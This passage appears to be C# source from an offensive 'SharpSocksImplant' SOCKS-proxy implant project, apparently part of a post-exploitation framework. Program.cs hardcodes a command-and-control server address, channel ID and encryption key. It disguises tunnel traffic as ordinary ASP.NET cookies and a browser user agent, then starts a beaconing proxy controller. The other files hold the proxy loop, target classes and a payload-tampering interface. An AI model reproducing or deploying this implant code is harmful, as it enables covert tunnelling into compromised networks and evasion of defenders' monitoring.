228 | trget.Exit = true; 229 | ImplantComms.LogError($"[{trget.TargetId}] Couldn't send {toSend?.Count()} bytes"); 230 | } 231 | }); 232 | ImplantComms.LogMessage($"[{trget.TargetId}] {payload?.Count() ?? 0} bytes arrived from target about to send back"); 233 | } 234 | } 235 | SendWait.WaitOne(BeaconTime); 236 | } 237 | catch (Exception ex) 238 | { 239 | if (null != trget) 240 | trget.Exit = true; 241 | ImplantComms.LogError($"[{trget.TargetId}] Error during Send Data loop {ex}"); 242 | } 243 | } 244 | } 245 | } 246 | 247 | static bool IsConnected(Socket client) 248 | { 249 | if (client.Connected) 250 | { 251 | if ((client.Poll(0, SelectMode.SelectWrite)) && (!client.Poll(0, SelectMode.SelectError))) 252 | return true; 253 | else 254 | return false; 255 | } 256 | else 257 | return false; 258 | } 259 | } 260 | } 261 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/Target/CmdTarget.cs: -------------------------------------------------------------------------------- 1 | using SharpSocksImplant.Interfaces; 2 | using System; 3 | using System.Threading; 4 | 5 | namespace SharpSocksImplant.Classes.Target 6 | { 7 | public class CmdTarget : IExitableTarget 8 | { 9 | public String TargetId { get; set; } 10 | public bool Exit { get { return Token.IsCancellationRequested; } set { return; } } 11 | public CancellationToken Token { get; set; } 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/Target/TargetInfo.cs: -------------------------------------------------------------------------------- 1 | using SharpSocksImplant.Interfaces; 2 | using System; 3 | using System.Collections.Concurrent; 4 | using System.Collections.Generic; 5 | using System.Threading; 6 | using System.Threading.Tasks; 7 | 8 | namespace ImplantSide.Classes.Target 9 | { 10 | public class TargetInfo : IExitableTarget 11 | { 12 | public String TargetId { get; set; } 13 | public String TargetHost { get; set; } 14 | public UInt16 TargetPort { get; set; } 15 | public System.Net.Sockets.TcpClient TargetTcpClient { set; get; } 16 | int _exit = 0; 17 | public Action OnExit { get; set; } 18 | public bool Exit { get { return (_exit == 1); } 19 | set { 20 | var val = (value) ? 1 : 0; 21 | var result = Interlocked.CompareExchange(ref _exit, val, 0); 22 | if ((result == 0) && value && null != OnExit) 23 | OnExit.Invoke(); 24 | } 25 | } 26 | public Task ProxyLoop { get; set; } 27 | public bool ConnectionAlive { get; set; } 28 | public ConcurrentQueue> ReadQueue { get; set; } 29 | public ConcurrentQueue> WriteQueue { get; set; } 30 | 31 | public TargetInfo() 32 | { 33 | ReadQueue = new ConcurrentQueue>(); 34 | WriteQueue = new ConcurrentQueue>(); 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /SocksLauncher/Interfaces/IExitableTarget.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpSocksImplant.Interfaces 8 | { 9 | public interface IExitableTarget 10 | { 11 | String TargetId { get; set; } 12 | bool Exit { get; set; } 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /SocksLauncher/Interfaces/IImplantLog.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace ImplantSide.Interfaces 4 | { 5 | public interface IImplantLog 6 | { 7 | void LogError(String errorMesg); 8 | void LogMessage(String mesg); 9 | bool FailError(String mesg, Guid ErrorCode); 10 | void BannerMesg(String mesg); 11 | void SetVerboseOn(); 12 | void SetVerboseOff(); 13 | bool IsVerboseOn(); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /SocksLauncher/Interfaces/IInternalErrorHandler.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace ImplantSide.Interfaces 4 | { 5 | public interface IInternalErrorHandler 6 | { 7 | void FailError(List errors); 8 | void FailError(string error); 9 | void LogError(List errors); 10 | void LogError(string error); 11 | } 12 | } -------------------------------------------------------------------------------- /SocksLauncher/Interfaces/ISocksImplant.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace ImplantSide.Interfaces 8 | { 9 | public interface ISocksImplant 10 | { 11 | 12 | 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /SocksLauncher/Interfaces/ITamper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Reflection; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace ImplantSide.Interfaces 9 | { 10 | public interface ITamper 11 | { 12 | String TamperPayload(String payload); 13 | String TamperUri(Uri host, String payload); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /SocksLauncher/Program.cs: -------------------------------------------------------------------------------- 1 | using ImplantSide.Classes.Helpers; 2 | using System.Collections.Generic; 3 | using System; 4 | using System.Security; 5 | using SocksProxy.Classes.Integration; 6 | using System.Reflection; 7 | 8 | namespace SocksLauncher 9 | { 10 | class Program 11 | { 12 | static LogToConsole comms = new LogToConsole(); 13 | static void Main(string[] args) 14 | { 15 | String serverUri = "http://10.10.10.2:8081"; 16 | String commandChannelId = "7f404221-9f30-470b-b05d-e1a922be3ff6"; 17 | String payloadCookieName = "__RequestVerificationToken"; 18 | String sessionCookieName = "ASP.NET_SessionId"; 19 | String userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36"; 20 | String dfHost = null; 21 | String key = "Y/z8YmjExk7fO+QQ68MxVAp9G+TT17hRTYx64A01YTo="; 22 | bool useProxy = false; 23 | bool userDefinedProxy = false; //System.Net.HttpWebRequest.GetSystemWebProxy() 24 | 25 | var result = Uri.TryCreate(serverUri, UriKind.Absolute, out Uri parsedServerUri); 26 | if (!result) 27 | Console.WriteLine($"Server URI {serverUri} is not valid"); 28 | 29 | SecureString secKey = null; 30 | secKey = new SecureString(); 31 | foreach (var n in key) secKey.AppendChar(n); 32 | 33 | var sock = PoshCreateProxy.CreateSocksController(parsedServerUri, 34 | commandChannelId, 35 | dfHost, 36 | userAgent, 37 | secKey, 38 | new List { "Upload" }, 39 | sessionCookieName, payloadCookieName, 40 | (useProxy) ? ((userDefinedProxy) ? null : System.Net.HttpWebRequest.GetSystemWebProxy()) : null, 41 | 200, 42 | comms); 43 | 44 | sock.Start(); 45 | //Comment this out to have it run inside a thread in a process. Uncomment it to have it run as a standalone binary. 46 | //Console.ReadLine(); 47 | 48 | } 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /SocksLauncher/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SocksLauncher")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany(".")] 12 | [assembly: AssemblyProduct("SocksLauncher")] 13 | [assembly: AssemblyCopyright("Copyright © . 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("e07dbd34-b5e3-4951-93b2-baa913b87f8f")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SocksLauncher/SocksLauncher.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {E07DBD34-B5E3-4951-93B2-BAA913B87F8F} 8 | Exe 9 | SocksLauncher 10 | SocksLauncher 11 | v4.0 12 | 512 13 | true 14 | 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | false 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | false 36 | 37 | 38 | true 39 | bin\x64\Debug\ 40 | DEBUG;TRACE 41 | full 42 | x64 43 | prompt 44 | MinimumRecommendedRules.ruleset 45 | true 46 | 47 | 48 | bin\x64\Release\ 49 | TRACE 50 | false 51 | pdbonly 52 | x64 53 | prompt 54 | MinimumRecommendedRules.ruleset 55 | true 56 | true 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | Component 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | --------------------------------------------------------------------------------